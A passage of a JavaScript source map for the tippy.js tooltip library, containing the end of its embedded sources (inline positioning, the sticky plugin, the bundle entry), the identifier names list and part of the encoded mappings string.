2 &&\n cursorRectIndex >= 0 &&\n clientRects[0].left > clientRects[1].right\n ) {\n return clientRects[cursorRectIndex] || boundingRect;\n }\n\n switch (currentBasePlacement) {\n case 'top':\n case 'bottom': {\n const firstRect = clientRects[0];\n const lastRect = clientRects[clientRects.length - 1];\n const isTop = currentBasePlacement === 'top';\n\n const top = firstRect.top;\n const bottom = lastRect.bottom;\n const left = isTop ? firstRect.left : lastRect.left;\n const right = isTop ? firstRect.right : lastRect.right;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n case 'left':\n case 'right': {\n const minLeft = Math.min(...clientRects.map((rects) => rects.left));\n const maxRight = Math.max(...clientRects.map((rects) => rects.right));\n const measureRects = clientRects.filter((rect) =>\n currentBasePlacement === 'left'\n ? rect.left === minLeft\n : rect.right === maxRight\n );\n\n const top = measureRects[0].top;\n const bottom = measureRects[measureRects.length - 1].bottom;\n const left = minLeft;\n const right = maxRight;\n const width = right - left;\n const height = bottom - top;\n\n return {top, bottom, left, right, width, height};\n }\n default: {\n return boundingRect;\n }\n }\n}\n","import {VirtualElement} from '@popperjs/core';\nimport {ReferenceElement, Sticky} from '../types';\n\nconst sticky: Sticky = {\n name: 'sticky',\n defaultValue: false,\n fn(instance) {\n const {reference, popper} = instance;\n\n function getReference(): ReferenceElement | VirtualElement {\n return instance.popperInstance\n ? instance.popperInstance.state.elements.reference\n : reference;\n }\n\n function shouldCheck(value: 'reference' | 'popper'): boolean {\n return instance.props.sticky === true || instance.props.sticky === value;\n }\n\n let prevRefRect: ClientRect | null = null;\n let prevPopRect: ClientRect | null = null;\n\n function updatePosition(): void {\n const currentRefRect = shouldCheck('reference')\n ? getReference().getBoundingClientRect()\n : null;\n const currentPopRect = shouldCheck('popper')\n ? popper.getBoundingClientRect()\n : null;\n\n if (\n (currentRefRect && areRectsDifferent(prevRefRect, currentRefRect)) ||\n (currentPopRect && areRectsDifferent(prevPopRect, currentPopRect))\n ) {\n if (instance.popperInstance) {\n instance.popperInstance.update();\n }\n }\n\n prevRefRect = currentRefRect;\n prevPopRect = currentPopRect;\n\n if (instance.state.isMounted) {\n requestAnimationFrame(updatePosition);\n }\n }\n\n return {\n onMount(): void {\n if (instance.props.sticky) {\n updatePosition();\n }\n },\n };\n },\n};\n\nexport default sticky;\n\nfunction areRectsDifferent(\n rectA: ClientRect | null,\n rectB: ClientRect | null\n): boolean {\n if (rectA && rectB) {\n return (\n rectA.top !== rectB.top ||\n rectA.right !== rectB.right ||\n rectA.bottom !== rectB.bottom ||\n rectA.left !== rectB.left\n );\n }\n\n return true;\n}\n","import tippy, {hideAll} from '../src';\nimport createSingleton from '../src/addons/createSingleton';\nimport delegate from '../src/addons/delegate';\nimport animateFill from '../src/plugins/animateFill';\nimport followCursor from '../src/plugins/followCursor';\nimport inlinePositioning from '../src/plugins/inlinePositioning';\nimport sticky from '../src/plugins/sticky';\nimport {ROUND_ARROW} from '../src/constants';\nimport {render} from '../src/template';\n\ntippy.setDefaultProps({\n plugins: [animateFill, followCursor, inlinePositioning, sticky],\n render,\n});\n\ntippy.createSingleton = createSingleton;\ntippy.delegate = delegate;\ntippy.hideAll = hideAll;\ntippy.roundArrow = ROUND_ARROW;\n\nexport default tippy;\n"],"names":["TOUCH_OPTIONS","passive","capture","TIPPY_DEFAULT_APPEND_TO","document","body","getValueAtIndexOrReturn","value","index","defaultValue","Array","isArray","v","isType","type","str","toString","call","indexOf","invokeWithArgsOrReturn","args","debounce","fn","ms","arg","clearTimeout","timeout","setTimeout","removeProperties","obj","keys","clone","forEach","key","normalizeToArray","concat","pushIfUnique","arr","push","getBasePlacement","placement","split","arrayFrom","slice","removeUndefinedProps","Object","reduce","acc","undefined","div","createElement","isElement","some","isMouseEvent","isReferenceElement","_tippy","reference","getArrayOfElements","isNodeList","querySelectorAll","setTransitionDuration","els","el","style","transitionDuration","setVisibilityState","state","setAttribute","getOwnerDocument","elementOrElements","element","ownerDocument","updateTransitionEndListener","box","action","listener","method","event","actualContains","parent","child","target","contains","getRootNode","_target$getRootNode","host","currentInput","isTouch","lastMouseMoveTime","onDocumentTouchStart","window","performance","addEventListener","onDocumentMouseMove","now","removeEventListener","onWindowBlur","activeElement","instance","blur","isVisible","isIE11","msCrypto","defaultProps","appendTo","aria","content","expanded","delay","duration","getReferenceClientRect","hideOnClick","ignoreAttributes","interactive","interactiveBorder","interactiveDebounce","moveTransition","offset","onAfterUpdate","onBeforeUpdate","onCreate","onDestroy","onHidden","onHide","onMount","onShow","onShown","onTrigger","onUntrigger","onClickOutside","plugins","popperOptions","render","showOnCreate","touch","trigger","triggerTarget","animateFill","followCursor","inlinePositioning","sticky","allowHTML","animation","arrow","inertia","maxWidth","role","theme","zIndex","defaultKeys","getExtendedPassedProps","passedProps","pluginProps","plugin","name","evaluateProps","props","out","valueAsString","getAttribute","trim","JSON","parse","e","getDataAttributeProps","dangerouslySetInnerHTML","html","createArrowElement","className","appendChild","setContent","textContent","getChildren","popper","firstElementChild","boxChildren","children","find","node","classList","backdrop","onUpdate","prevProps","nextProps","removeAttribute","removeChild","$$tippy","idCounter","mouseMoveListeners","mountedInstances","createTippy","showTimeout","hideTimeout","scheduleHideAnimationFrame","lastTriggerEvent","currentTransitionEndListener","onFirstUpdate","currentTarget","isVisibleFromClick","didHideDueToDocumentMouseDown","didTouchMove","ignoreOnFirstUpdate","listeners","debouncedOnMouseMove","onMouseMove","id","filter","item","popperInstance","isEnabled","isDestroyed","isMounted","isShown","clearDelayTimeouts","cancelAnimationFrame","setProps","partialProps","invokeHook","removeListeners","addListeners","cleanupInteractiveMouseListeners","handleAriaExpandedAttribute","handleStyles","createPopperInstance","getNestedPopperTree","nestedPopper","requestAnimationFrame","forceUpdate","show","isAlreadyVisible","isDisabled","isTouchAndTouchDisabled","getCurrentTarget","hasAttribute","getIsDefaultRenderFn","visibility","addDocumentPress","transition","getDefaultTemplateChildren","offsetHeight","handleAriaContentAttribute","callback","onTransitionEnd","onTransitionedIn","parentNode","mount","hide","isAlreadyHidden","removeDocumentPress","onTransitionedOut","unmount","hideWithInteractivity","getDocument","enable","disable","destroyPopperInstance","i","destroy","pluginsHooks","map","hasAriaExpanded","scheduleShow","getNormalizedTouchSettings","getIsCustomTouchBehavior","_instance$props$rende","getDelay","isShow","fromHide","pointerEvents","hook","shouldInvokePropsHook","pluginHooks","attr","currentValue","nextValue","replace","onDocumentPress","actualTarget","composedPath","onTouchMove","onTouchStart","doc","on","eventType","handler","options","onMouseLeave","Boolean","onBlurOrFocusOut","shouldScheduleClickHide","isEventListenerStopped","wasFocused","scheduleHide","isCursorOverReferenceOrPopper","popperTreeData","clientX","clientY","every","popperRect","popperState","basePlacement","offsetData","modifiersData","topDistance","top","y","bottomDistance","bottom","leftDistance","left","x","rightDistance","right","exceedsTop","exceedsBottom","exceedsLeft","exceedsRight","isCursorOutsideInteractiveBorder","_instance$popperInsta","getBoundingClientRect","relatedTarget","computedReference","contextElement","modifiers","padding","adaptive","enabled","phase","requires","attributes","createPopper","touchValue","touchDelay","tippy","targets","optionalProps","instances","setDefaultProps","applyStylesModifier","applyStyles","effect","initialStyles","position","strategy","margin","assign","elements","styles","BUBBLING_EVENTS_MAP","mouseover","focusin","click","createBackdropElement","insertBefore","overflow","Number","transitionDelay","Math","round","mouseCoords","activeInstances","storeMouseCoords","isInternalUpdate","wasFocusEvent","isUnmounted","getIsInitialBehavior","addListener","removeListener","unsetGetReferenceClientRect","isCursorOverReference","rect","relativeX","relativeY","width","height","create","addMouseCoordsListener","data","length","removeMouseCoordsListener","_","cursorRectIndex","triedPlacements","modifier","currentBasePlacement","boundingRect","clientRects","firstRect","lastRect","isTop","minLeft","min","rects","maxRight","max","measureRects","getInlineBoundingClientRect","getClientRects","addModifier","getProps","cursorRect","shouldCheck","prevRefRect","prevPopRect","updatePosition","currentRefRect","currentPopRect","areRectsDifferent","update","rectA","rectB","createSingleton","tippyInstances","individualInstances","references","triggerTargets","overrides","interceptSetPropsCleanups","shownOnCreate","setTriggerTargets","setReferences","enableInstances","interceptSetProps","singleton","originalSetProps","prepareInstance","overrideProps","prop","_references$index","originalShow","ref","showNext","first","showPrevious","last","setInstances","nextInstances","delegate","childTippyInstances","disabled","nativeProps","parentProps","childProps","returnValue","targetNode","closest","originalDestroy","originalEnable","originalDisable","shouldDestroyChildInstances","addEventListeners","hideAll","excludedReferenceOrInstance","exclude","isExcluded","originalDuration","roundArrow"],"mappings":"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